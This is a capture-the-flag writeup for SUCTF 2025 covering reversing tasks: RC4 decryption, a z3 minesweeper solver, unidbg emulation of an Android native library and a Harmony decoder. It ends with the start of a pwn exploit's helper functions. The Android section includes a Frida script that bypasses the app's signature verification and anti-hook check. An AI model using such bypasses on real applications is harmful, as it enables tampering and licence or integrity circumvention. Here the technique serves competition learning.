Featured image of post SUCTF 2025

SUCTF 2025

UKFC 2025 SUCTF Writeup

Re

SU_BBRE

分析汇编,函数 fun2 为 rc4,密钥:suctf,密文:0x2f,0x5a,0x57,0x65,0x14,0x8f,0x69,0xcd,0x93,0x29,0x1a,0x55,0x18,0x40,0xe4,0x5e

解密:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#include <iostream>
using namespace std;
char bb[] = "suctf";

typedef struct _RC4INFO
{
        unsigned char s_box[256];
        unsigned char t_box[256];
}RC4_INFO, * PRC4_INFO;

void rc4_init(PRC4_INFO prc4, unsigned char key[], unsigned int keylen)
{
        int i = 0;
        int j = 0;
        unsigned char tmp;
        if (prc4 == NULL)
        {
                return;
        }

        for (i = 0; i < 256; i++)
        {
                prc4->s_box[i] = i;
                prc4->t_box[i] = key[i % keylen];
        }


        for (i = 0; i < 256; i++)
        {
                j = (j + prc4->s_box[i] + prc4->t_box[i]) % 256;
                tmp = prc4->s_box[i];
                prc4->s_box[i] = prc4->s_box[j];
                prc4->s_box[j] = tmp;
        }
}
void rc4_crypt(unsigned char data[], unsigned int datalen, unsigned char key[], unsigned int keylen)
{
        int dn = 0;
        int i = 0;
        int j = 0;
        int t = 0;
        unsigned char tmp;

        RC4_INFO rc4;
        rc4_init(&rc4, key, keylen);

        for (dn = 0; dn < datalen; dn++)
        {

                i = (i + 1) % 256;
                j = (j + rc4.s_box[i]) % 256;


                tmp = rc4.s_box[i];
                rc4.s_box[i] = rc4.s_box[j];
                rc4.s_box[j] = tmp;


                t = (rc4.s_box[i] + rc4.s_box[j]) % 256;
                data[dn] ^= rc4.s_box[t];
        }
}

void EntryBuffer(unsigned char data[], unsigned int datalen)
{
        unsigned char key[] = { 's','u','c','t','f'};//key
        rc4_crypt(data, datalen, key, sizeof(key) / sizeof(key[0]));
}
int main()
{
        unsigned char Hell[] = { 0x2f,0x5a,0x57,0x65,0x14,0x8f,0x69,0xcd,0x93,0x29,0x1a,0x55,0x18,0x40,0xe4,0x5e }; 

        EntryBuffer((unsigned char*)Hell, sizeof(Hell) / sizeof(Hell[0]));
        printf("%s\n", Hell);
   
//We1com3ToReWorld

fun1 解密:

1
2
3
4
5
6
7
8
int cc1[] = { 0x41,0x6d,0x62,0x4d,0x53,0x49,0x4e,0x29,0x28 };
 for (int i =0; i <9; i++)
{
    printf("%c", cc1[i] + i);
}
        return 0;
}
//AndPWNT00

fun1 调用由 scrtpy 溢出调用,后三位为地址:0x40223d,ASCLL:="@

flag:We1com3ToReWorld="@AndPWNT00

SU_minesweeper

逻辑比较清楚,先读入输入,偏移 6 位后转换成 16 进制数,再依据二进制转换成雷区。 给了雷区的一些约束,那么 z3 求解即可

扫雷

输入文件 in.txt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
[
[0x03, 0x04, 0xFF, 0xFF, 0xFF, 0x05, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x04, 0x04, 0xFF, 0xFF, 0xFF, 0xFF, 0x02, 0xFF, 0xFF ],
[0x04, 0xFF, 0x07, 0xFF, 0xFF, 0xFF, 0x04, 0x06, 0x06, 0xFF, 0xFF, 0xFF, 0xFF, 0x06, 0x05, 0x06, 0x04, 0xFF, 0x05, 0xFF] ,
[0x04, 0x07, 0xFF, 0x08, 0xFF, 0x06, 0xFF, 0xFF, 0x06, 0x06, 0x05, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x03, 0x03, 0xFF, 0x03 ],
[0xFF, 0x05, 0x06, 0x06, 0xFF, 0xFF, 0xFF, 0xFF, 0x04, 0x05, 0x04, 0x05, 0x07, 0x06, 0xFF, 0xFF, 0x04, 0xFF, 0x02, 0x01 ], 
[0xFF, 0xFF, 0xFF, 0x03, 0x04, 0xFF, 0xFF, 0x05, 0x04, 0x03, 0xFF, 0xFF, 0x07, 0x04, 0x03, 0xFF, 0xFF, 0x01, 0x01, 0xFF ], 
[0xFF, 0x04, 0x03, 0xFF, 0x02, 0xFF, 0x04, 0x03, 0xFF, 0xFF, 0x02, 0xFF, 0x05, 0x04, 0xFF, 0xFF, 0x02, 0x02, 0xFF, 0xFF ],
[0x04, 0xFF, 0x04, 0xFF, 0x03, 0x05, 0x06, 0xFF, 0xFF, 0x00, 0xFF, 0xFF, 0xFF, 0x02, 0xFF, 0xFF, 0xFF, 0x01, 0x04, 0xFF], 
[0xFF, 0x07, 0x05, 0xFF, 0xFF, 0x03, 0x03, 0x02, 0xFF, 0xFF, 0x04, 0xFF, 0xFF, 0x05, 0x07, 0xFF, 0x03, 0x02, 0x04, 0x04 ],
[0xFF, 0x07, 0x05, 0x04, 0x03, 0xFF, 0xFF, 0x04, 0xFF, 0x02, 0x04, 0x05, 0xFF, 0xFF, 0x06, 0x05, 0x04, 0xFF, 0x02, 0xFF ],
[0xFF, 0x07, 0x04, 0xFF, 0xFF, 0x03, 0xFF, 0x04, 0x04, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x04, 0x03, 0x02, 0x02 ],
[0xFF, 0xFF, 0x02, 0x04, 0x03, 0x05, 0xFF, 0xFF, 0x05, 0xFF, 0x04, 0xFF, 0x06, 0xFF, 0xFF, 0x06, 0xFF, 0xFF, 0xFF, 0xFF], 
[0x03, 0x03, 0xFF, 0x04, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x06, 0xFF, 0x06, 0x06, 0xFF, 0x07, 0x06, 0x04, 0xFF, 0x04, 0x03], 
[0xFF, 0x04, 0x03, 0x05, 0x04, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x04, 0x06, 0x07, 0xFF, 0xFF, 0x04, 0xFF, 0xFF ],
[0xFF, 0x07, 0xFF, 0x05, 0xFF, 0x05, 0xFF, 0xFF, 0x06, 0x07, 0x07, 0xFF, 0x05, 0x06, 0x06, 0xFF, 0xFF, 0x02, 0x04, 0x04] ,
[0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x06, 0xFF, 0xFF, 0x07, 0x07, 0x06, 0xFF, 0x06, 0xFF, 0xFF, 0xFF, 0xFF, 0x03, 0xFF, 0x03], 
[0x05, 0xFF, 0x07, 0xFF, 0x05, 0xFF, 0x06, 0xFF, 0x05, 0xFF, 0xFF, 0x07, 0x08, 0xFF, 0xFF, 0x03, 0xFF, 0x03, 0xFF, 0xFF], 
[0xFF, 0xFF, 0xFF, 0x03, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x06, 0x05, 0x03, 0xFF, 0x04, 0x05, 0x05, 0x03, 0xFF], 
[0xFF, 0x06, 0x05, 0x05, 0x06, 0xFF, 0x06, 0x05, 0x02, 0x04, 0x03, 0x04, 0xFF, 0xFF, 0x03, 0x04, 0x04, 0x06, 0x05, 0xFF], 
[0x03, 0xFF, 0x05, 0x05, 0x05, 0xFF, 0xFF, 0x05, 0xFF, 0xFF, 0x04, 0xFF, 0xFF, 0x04, 0xFF, 0x07, 0x07, 0x08, 0x06, 0xFF], 
[0xFF, 0xFF, 0xFF, 0x05, 0xFF, 0xFF, 0xFF, 0x04, 0xFF, 0x03, 0xFF, 0x03, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x05, 0x03]
]

构造方程

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import numpy as np

def read_matrix(file_path):
    with open(file_path, 'r') as file:
        matrix = eval(file.read())
    return np.array(matrix)

def calculate(matrix):
    equations = []
    for i in range(20):
        for j in range(20):
            if matrix[i, j] != 0xFF:
                equation = []
                for di in range(-1, 2):
                    for dj in range(-1, 2):
                        ni, nj = i + di, j + dj
                        if 0 <= ni < 20 and 0 <= nj < 20:
                            equation.append(f"A{ni:02X}{nj:02X}")
                equations.append(f"{matrix[i, j]} = " + " + ".join(equation))
    return equations

def main():
    file_path = './in.txt'
    output_path = './out.txt'
    matrix = read_matrix(file_path)
    sums = calculate(matrix)
    with open(output_path, 'w') as file:
        for eq in sums:
            file.write(eq + '\n')

if __name__ == "__main__":
    main()

解方程

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from z3 import Solver, Int, sat

## 读取方程组
with open('out.txt', 'r') as file:
    equations = file.readlines()

## 创建 Z3 求解器
solver = Solver()

## 创建 400 个未知数
variables = {}
for i in range(20):
    for j in range(20):
        var_name = f'A{i:02X}{j:02X}'
        variables[var_name] = Int(var_name)
        solver.add(variables[var_name] >= 0, variables[var_name] <= 1)  ## 添加约束条件

## 添加方程到求解器
for equation in equations:
    lhs, rhs = equation.split('=')
    lhs = lhs.strip()
    rhs = rhs.strip()
    for var in variables:
        lhs = lhs.replace(var, f'variables["{var}"]')
        rhs = rhs.replace(var, f'variables["{var}"]')
    solver.add(eval(lhs) == eval(rhs))

## 求解
if solver.check() == sat:
    model = solver.model()
    solution = {}
    for var in variables:
        value = model[variables[var]]
        if value is not None:
            solution[var] = value.as_long()
  
    ## 保存解到文件
    with open('solution.txt', 'w') as file:
        for i in range(20):
            for j in range(20):
                var_name = f'A{i:02X}{j:02X}'
                file.write(f"{solution.get(var_name, 0)} ")
            file.write("\n")
  
    ## 输出为 20x20 表格形式
    print("Solution found:")
    for i in range(20):
        for j in range(20):
            var_name = f'A{i:02X}{j:02X}'
            print(solution.get(var_name, 0), end=' ')
        print()
else:
    print("No solution found.")
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
1 1 0 1 1 0 1 0 1 1 0 1 1 0 1 1 1 0 0 1 
0 1 1 0 1 1 1 1 1 1 0 1 1 0 1 0 0 0 1 1 
0 1 1 1 1 0 0 0 1 0 1 0 0 1 1 0 1 1 0 1 
1 1 1 1 1 0 1 0 1 1 0 1 1 1 0 1 0 0 0 0 
0 0 0 0 0 1 0 0 1 0 0 1 1 1 0 0 1 0 0 0 
0 1 0 0 0 1 1 1 0 0 0 1 0 0 0 0 0 0 0 1 
1 1 1 0 0 0 0 0 0 0 0 0 0 1 1 1 0 0 1 1 
0 1 0 0 1 1 1 1 0 0 0 1 0 0 0 1 0 0 0 1 
1 1 1 0 0 0 0 0 0 1 1 1 1 1 1 1 0 0 1 0
1 1 1 0 1 0 1 1 0 0 0 0 1 1 0 1 1 0 0 0
1 0 0 0 1 0 0 1 1 0 1 1 0 1 1 0 1 0 0 1
0 0 0 0 1 0 1 1 0 1 1 0 1 1 1 1 0 1 1 0
1 1 0 1 1 0 0 0 0 1 1 1 0 1 1 0 1 0 0 1
1 0 1 0 1 0 1 1 1 1 1 0 0 0 1 1 0 0 1 1
1 1 1 0 0 1 1 0 1 1 0 1 1 1 1 0 0 0 0 1
0 1 0 1 0 1 1 0 1 1 0 1 1 1 0 1 1 1 0 0
1 1 1 1 0 1 1 0 1 0 1 1 1 0 0 0 0 0 1 0
1 0 0 0 0 1 1 0 0 0 1 0 0 0 0 1 1 0 1 0
1 0 1 1 1 1 1 0 1 0 0 0 0 1 1 0 1 1 1 1
0 1 1 1 0 0 1 1 0 1 1 1 1 0 1 1 1 1 1 0

验证结果

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
import tkinter as tk
from tkinter import filedialog

## 读取数据
def read_data(filepath):
    with open(filepath, 'r') as file:
        data = eval(file.read())
    return data

## 保存数据
def save_data(filepath, flags):
    with open(filepath, 'w') as file:
        file.write(str(flags))

## 从文件导入 flag 表
def load_flags(filepath):
    with open(filepath, 'r') as file:
        lines = file.readlines()
    for i, line in enumerate(lines):
        values = list(map(int, line.split()))
        for j, value in enumerate(values):
            flags[i][j] = value
    check_flags(flags, data)

## 检查是否符合要求
def check_flags(flags, data):
    invalid_cells = []
    for i in range(20):
        for j in range(20):
            if data[i][j] == 255:
                canvas.itemconfig(texts[i][j], text=str(flags[i][j]))
                continue
            count = 0
            for x in range(max(0, i-1), min(20, i+2)):
                for y in range(max(0, j-1), min(20, j+2)):
                    if flags[x][y] == 1:
                        count += 1
            if count != data[i][j]:
                canvas.itemconfig(rects[i][j], fill="red")
                invalid_cells.append((i, j, count, data[i][j]))
            else:
                canvas.itemconfig(rects[i][j], fill="white")
            canvas.itemconfig(texts[i][j], text=str(flags[i][j]))
    update_info(invalid_cells)

## 更新信息显示
def update_info(invalid_cells):
    for i in range(20):
        for j in range(20):
            value = '?' if data[i][j] == 255 else str(data[i][j])
            req_canvas.itemconfig(req_texts[i][j], text=value)
    info_text.delete(1.0, tk.END)
    info_text.insert(tk.END, "\n不合法格子:\n")
    for cell in invalid_cells:
        info_text.insert(tk.END, f"格子({cell[0]},{cell[1]}) 当前值: {cell[2]} 要求值: {cell[3]}\n")

## 切换 flag 状态
def toggle_flag(event):
    x, y = event.x // 20, event.y // 20
    flags[y][x] = 1 - flags[y][x]  ## 注意这里的索引顺序
    check_flags(flags, data)

## 保存按钮回调
def save_flags():
    filepath = filedialog.asksaveasfilename(defaultextension=".txt", filetypes=[("Text files", "*.txt")])
    if filepath:
        save_data(filepath, flags)

## 导入按钮回调
def import_flags():
    filepath = filedialog.askopenfilename(filetypes=[("Text files", "*.txt")])
    if filepath:
        load_flags(filepath)

## 初始化数据
data = None
flags = [[0] * 20 for _ in range(20)]

## 创建 UI
root = tk.Tk()
canvas = tk.Canvas(root, width=400, height=400)
canvas.pack(side=tk.LEFT)

rects = [[None] * 20 for _ in range(20)]
texts = [[None] * 20 for _ in range(20)]
for i in range(20):
    for j in range(20):
        rects[i][j] = canvas.create_rectangle(j*20, i*20, (j+1)*20, (i+1)*20, fill="white")
        texts[i][j] = canvas.create_text(j*20+10, i*20+10, text="0")

req_canvas = tk.Canvas(root, width=400, height=400)
req_canvas.pack(side=tk.LEFT)

req_texts = [[None] * 20 for _ in range(20)]
for i in range(20):
    for j in range(20):
        req_canvas.create_rectangle(j*20, i*20, (j+1)*20, (i+1)*20, fill="white")
        req_texts[i][j] = req_canvas.create_text(j*20+10, i*20+10, text="?")

info_text = tk.Text(root, width=50, height=40)
info_text.pack(side=tk.RIGHT)

save_button = tk.Button(root, text="保存", command=save_flags)
save_button.pack(side=tk.BOTTOM)

import_button = tk.Button(root, text="导入", command=import_flags)
import_button.pack(side=tk.BOTTOM)

canvas.bind("<Button-1>", toggle_flag)

## 选择输入文件
input_filepath = filedialog.askopenfilename(filetypes=[("Text files", "*.txt")])
if input_filepath:
    data = read_data(input_filepath)
    check_flags(flags, data)

root.mainloop()

创建位图

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#include <iostream>
using namespace std;

int main() {
    // 原始地图数据20x20
    int map[20][20] = {
{1,1,0,1,1,0,1,0,1,1,0,1,1,0,1,1,1,0,0,1},
{0,1,1,0,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,1},
{0,1,1,1,1,0,0,0,1,0,1,0,0,1,1,0,1,1,0,1},
{1,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,0,0,0,0},
{0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,1,0,0,0},
{0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1},
{1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1},
{0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,1},
{1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0},
{1,1,1,0,1,0,1,1,0,0,0,0,1,1,0,1,1,0,0,0},
{1,0,0,0,1,0,0,1,1,0,1,1,0,1,1,0,1,0,0,1},
{0,0,0,0,1,0,1,1,0,1,1,0,1,1,1,1,0,1,1,0},
{1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1},
{1,0,1,0,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1},
{1,1,1,0,0,1,1,0,1,1,0,1,1,1,1,0,0,0,0,1},
{0,1,0,1,0,1,1,0,1,1,0,1,1,1,0,1,1,1,0,0},
{1,1,1,1,0,1,1,0,1,0,1,1,1,0,0,0,0,0,1,0},
{1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,0,1,0},
{1,0,1,1,1,1,1,0,1,0,0,0,0,1,1,0,1,1,1,1},
{0,1,1,1,0,0,1,1,0,1,1,1,1,0,1,1,1,1,1,0},

    };
  

    // 创建位图数组50字节 = ceil(400/8)
    unsigned char bitmap[50] = {0};

    // 转换为位图
    for (int i = 0; i < 20; i++) {
        for (int j = 0; j < 20; j++) {
            int offset = i * 20 + j;
            if (map[i][j] == 1) {  // 如果是地雷
                bitmap[offset / 8] |= (1 << (offset & 7));
            }
        }
    }

    // 打印位图数组的十六进制值
    printf("位图数据(十六进制):\n");
    for (int i = 0; i < 50; i++) {
        printf("0x%02X, ", bitmap[i]);
        if ((i + 1) % 8 == 0) printf("\n");
    }
    printf("\n");
    /*for (int i = 0; i < 50; i++)
    {
        printf("%x,", (ac[i] >> 4) & 0xF);
        printf("%x,", ac[i] & 0xF);
    }*/

    return 0;
}

//int ac[] = { 0x5B, 0xDB, 0x69, 0xBF, 0xC5, 0x1E, 0x65, 0xFB,
//0xB5, 0x0B, 0x20, 0x39, 0x21, 0x8E, 0x80, 0x07,
//0xE0, 0x2C, 0x8F, 0x88, 0x07, 0xFE, 0x74, 0x0D,
//0x1B, 0x91, 0x6D, 0x09, 0x6D, 0x6F, 0x1B, 0x6E,
//0x59, 0x7D, 0xCC, 0x67, 0x7B, 0xA8, 0xB6, 0x3B,
//0x6F, 0x1D, 0x14, 0x46, 0x58, 0x7D, 0x61, 0xEF,
//0xEC, 0x7D };

映射

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
## 定义映射关系
mapping = {
    '7': '1', '8': '2', '9': '3',
    'a': '4', 'b': '5', 'c': '6',
    'd': '7', 'e': '8', 'f': '9',
    '6': '0', '0': 'a', '1': 'b',
    '2': 'c', '3': 'd', '4': 'e',
    '5': 'f'
}

## 目标数组
#0x5B, 0xDB, 0x69, 0xBF, 0xC5, 0x1E, 0x65, 0xFB,
#0xB5, 0x0B, 0x20, 0x39, 0x21, 0x8E, 0x80, 0x07,
#0xE0, 0x2C, 0x8F, 0x88, 0x07, 0xFE, 0x74, 0x0D,
#0x1B, 0x91, 0x6D, 0x09, 0x6D, 0x6F, 0x1B, 0x6E,
#0x59, 0x7D, 0xCC, 0x67, 0x7B, 0xA8, 0xB6, 0x3B,
#0x6F, 0x1D, 0x14, 0x46, 0x58, 0x7D, 0x61, 0xEF,
#0xEC, 0x7D
target_array = [
    '5','b','d','b','6','9','b','f','c','5','1','e','6','5','f','b','b','5','0','b','2','0','3','9','2','1','8','e','8','0','0','7','e','0','2','c','8','f','8','8','0','7','f','e','7','4','0','d','1','b','9','1','6','d','0','9','6','d','6','f','1','b','6','e','5','9','7','d','c','c','6','7','7','b','a','8','b','6','3','b','6','f','1','d','1','4','4','6','5','8','7','d','6','1','e','f','e','c','7','d'
]
## 使用映射替换字符
mapped_array = [mapping[char] for char in target_array]

## 打印结果
print(''.join(mapped_array))

App

好多校验

copy 到目录的文件

1
2
3
4
5
6
7
09-30 10:00:07.100 11119 11119 D Copy    : File already exists: /data/user/0/com.swdd.suapp/files/main
09-30 10:00:07.296   998  1259 I BootReceiver: Copying /data/tombstones/tombstone_03 to DropBox (SYSTEM_TOMBSTONE)
09-30 10:01:18.326 11225 11225 D Copy    : File already exists: /data/user/0/com.swdd.suapp/files/main
09-30 10:01:18.882   998  1259 I BootReceiver: Copying /data/tombstones/tombstone_04 to DropBox (SYSTEM_TOMBSTONE)
09-30 10:07:51.622 15312 15312 D Copy    : File copied to: /data/user/0/com.swdd.suapp/files/main
09-30 10:16:01.145 15948 15948 D Copy    : File copied to: /data/user/0/com.swdd.suapp/files/main
09-30 10:16:01.743   998  1259 I BootReceiver: Copying /data/tombstones/tombstone_05 to DropBox (SYSTEM_TOMBSTONE)

Unidbg call so

应该有其他东西,不是静态的,模拟执行 call 出来的结果 check 是在匹配那个 base64

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
package com.dta.test2;

import capstone.api.Instruction;
import com.github.unidbg.AndroidEmulator;
import com.github.unidbg.Emulator;
import com.github.unidbg.Module;
import com.github.unidbg.arm.backend.Backend;
import com.github.unidbg.arm.backend.BlockHook;
import com.github.unidbg.arm.backend.UnHook;
import com.github.unidbg.linux.android.AndroidEmulatorBuilder;
import com.github.unidbg.linux.android.AndroidResolver;
import com.github.unidbg.linux.android.dvm.DalvikModule;
import com.github.unidbg.linux.android.dvm.DvmObject;
import com.github.unidbg.linux.android.dvm.StringObject;
import com.github.unidbg.linux.android.dvm.VM;
import com.github.unidbg.linux.android.dvm.jni.ProxyDvmObject;
import com.github.unidbg.memory.Memory;
import com.sun.jna.Pointer;

import java.io.File;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

public class MainActivity {
    //Android模拟器
    private final AndroidEmulator emulator;
    //虚拟机
    private final VM vm;
    //内存接口
    private final Memory memory;
    //加载进内存的Module对象
    private final Module module;


    public MainActivity(){
        emulator = AndroidEmulatorBuilder
                .<em>for64Bit</em>()
                //.setRootDir(new File("target/rootfs/default"))
                //.addBackendFactory(new DynarmicFactory(true))
                .build();

        memory = emulator.getMemory();
        //设置Android解析器SDK版本
        memory.setLibraryResolver(new AndroidResolver(23));
        //创建APK对应的vm
        vm = emulator.createDalvikVM(new File("unidbg-android/src/test/java/com/dta/test2/app-debug.apk"));
        //加载so、调用init
        DalvikModule dalvikModule = vm.loadLibrary(new File("unidbg-android/src/test/java/com/dta/test2/libsuapp.so"), true);
        //将so文件对应的Module存入成员变量
        module = dalvikModule.getModule();
    
        //动态注册初始化
        vm.callJNI_OnLoad(emulator,module);


    }
  

    private void call_check() {
        //构造函数参数
        Pointer jniEnv = vm.getJNIEnv();
        DvmObject obj = ProxyDvmObject.<em>createObject</em>(vm,this);
        StringObject data = new StringObject(vm,"YjByMW7lnKjnur/msYLlgbY=");
        //转换为参数列表
        List<Object> args = new ArrayList<>();
        args.add(jniEnv);
        args.add(vm.addLocalObject(obj));
        args.add(vm.addLocalObject(data));
        //调用so
        Number[] numbers = new Number[]{module.callFunction(emulator, 0x22728, args.toArray())};
        //getvalue
        DvmObject<?> object = vm.getObject(numbers[0].intValue());
        String value = (String) object.getValue();
        System.<em>out</em>.println("[addr] Call the so check function result is ==> "+ value);
    }


    private void call_ver() {
        //构造函数参数
        Pointer jniEnv = vm.getJNIEnv();
        DvmObject obj = ProxyDvmObject.<em>createObject</em>(vm,this);
        StringObject data = new StringObject(vm,"CA957392336DFA220C8A5A2191609E62CCF2BA29EB12F8837F1D399259842483");
        //转换为参数列表
        List<Object> args = new ArrayList<>();
        args.add(jniEnv);
        args.add(vm.addLocalObject(obj));
        args.add(vm.addLocalObject(data));
        //调用so
        Number[] numbers = new Number[]{module.callFunction(emulator, 0x1EA10, args.toArray())};
        //getvalue
        DvmObject<?> object = vm.getObject(numbers[0].intValue());
        Boolean value = (Boolean) object.getValue();
        System.<em>out</em>.println("[addr] Call the so ver function result is ==> "+ value);
    }


    public static void main(String[] args) {
        long start = System.<em>currentTimeMillis</em>();
        MainActivity mainActivity = new MainActivity();
        System.<em>out</em>.println("load the vm "+( System.<em>currentTimeMillis</em>() - start )+ "ms");
        //mainActivity.call_check();
        mainActivity.call_ver();
    }

}

Frida hook

  • 改端口,把签名校验 hook 掉,然后会调用 start 函数,检测到 hook 后程序终止

日志:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
09-30 10:16:00.037 15948 15997 E SWDD    : pthread_rwlock_wrlock find addr fail
09-30 10:16:00.037 15948 15997 E SWDD    : pthread_rwlock_unlock find addr fail
09-30 10:16:00.037 15948 15997 E SWDD    : dl_iterate_phdr find addr fail
09-30 10:16:00.037 15948 15997 E SWDD    : pthread_rwlock_rdlock find addr fail
09-30 10:16:00.037 15948 15997 E SWDD    : fwrite find addr fail
09-30 10:16:00.037 15948 15997 D SWDD    : [ finished linking  ]
09-30 10:16:00.037 15948 15997 I SWDD    : GO!
09-30 10:16:00.037 15948 15997 I SWDD    : GOT YOU!
09-30 10:16:00.044 15948 15997 I SWDD    : size: 504
09-30 10:16:00.048 15948 15999 I SWDD    : GOT YOU!
09-30 10:16:00.048 15948 15999 I SWDD    : size: 504
09-30 10:16:01.150 15948 15948 I SWDD    : App Directory: /data/user/0/com.swdd.suapp
09-30 10:16:01.150 15948 15948 I SWDD    : main Path: /data/user/0/com.swdd.suapp/files/main
09-30 10:16:01.150 15948 15948 E SWDD    : Hook detected, exiting...
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
function main(){
    Java.perform(function(){
        // const libName = 'libsuapp.so'
        // const funcName = 'start'
        // const funcAddr = Module.findExportByName(libName, funcName)
        // console.log(funcAddr)
    

        var hook = Java.use('com.swdd.suapp.MainActivity');
    
        hook.getAppSignatureHash.implementation = function(){
            var str = "CA957392336DFA220C8A5A2191609E62CCF2BA29EB12F8837F1D399259842483";
            return str;

        }
        hook.verifySignature.implementation = function(str){
            console.log(str);

            return true;
        }

        //枚举加载的库
        // console.log("[*] Starting script...");
    
        // var modules = Process.enumerateModules();
        // modules.forEach(function (module) {
        //     console.log("[*] Module: " + module.name);
        // });

    console.log("[*] Starting the script...");

    // Attach to the native library
    var moduleName = "libsuapp.so";

    // Wait for the module to be loaded
    var module = Process.getModuleByName(moduleName);

    if (module) {
        console.log("[*] Module loaded:", module.name);
        console.log("[*] Base address:", module.base);

        // Locate the exported symbol "start"
        var startSymbol = Module.findExportByName(moduleName, "start");

        if (startSymbol) {
            console.log("[*] Found symbol at address:", startSymbol);

            // Attach to the function
            Interceptor.attach(startSymbol, {
                onEnter: function (args) {
                    console.log("[+] Hook triggered: start() called");

                    // Optionally modify arguments (if any exist)
                    // e.g., Modify the first argument (args[0]) if applicable
                },
                onLeave: function (retval) {
                    console.log("[+] start() returned value:", retval);

                    // Optionally modify the return value
                    var newRetval = ptr("0x1"); // Example: Modify the return value
                    retval.replace(newRetval);

                    console.log("[+] Modified return value to:", newRetval);
                }
            });
        } else {
            console.log("[-] Symbol 'start' not found in module:", moduleName);
        }
    } else {
        console.log("[-] Module not found:", moduleName);
    }

    })
}
setImmediate(main)

//com.swdd.suapp
//frida -U -f com.swdd.suapp -l frida0.js
//CA957392336DFA220C8A5A2191609E62CCF2BA29EB12F8837F1D399259842483
//CA957392336DFA220C8A5A2191609E62CCF2BA29EB12F8837F1D399259842483

Harmony

这个辅助定位

转 uint32,数据都标好了,太友善了

定位到 v5,sub_57B0 传入输入和密文

就在这里加密,开逆

第一个

第二个

第三个

第四个

第五个

第六个

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
def solve(aa):
    return (int)((aa*2+4)**0.5-1)

def int2chr(i):
    result = []
    while i > 0:
        result.append(chr(i & 0xFF))
        i >>= 8
    return ''.join(result[::-1])

enclist=[999272289930604998,1332475531266467542,1074388003071116830,1419324015697459326,978270870200633520,369789474534896558,344214162681978048,2213954953857181622]

for i in range(len(enclist)):
    print(int2chr(solve(enclist[i]))[::-1],end='')

Pwn

SU_BABY

交互

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def cmd(idx):
    io.sendlineafter(b": ",str(idx))

def add_sigId(id,name,content):
    cmd(1)
    io.sendlineafter(b": ",str(id))
    io.sendafter(": ",name)
    io.sendafter(": ",content)

def delete_sigid(id):
    cmd(2)
    io.sendlineafter(b": ",str(id))

def scan_files():
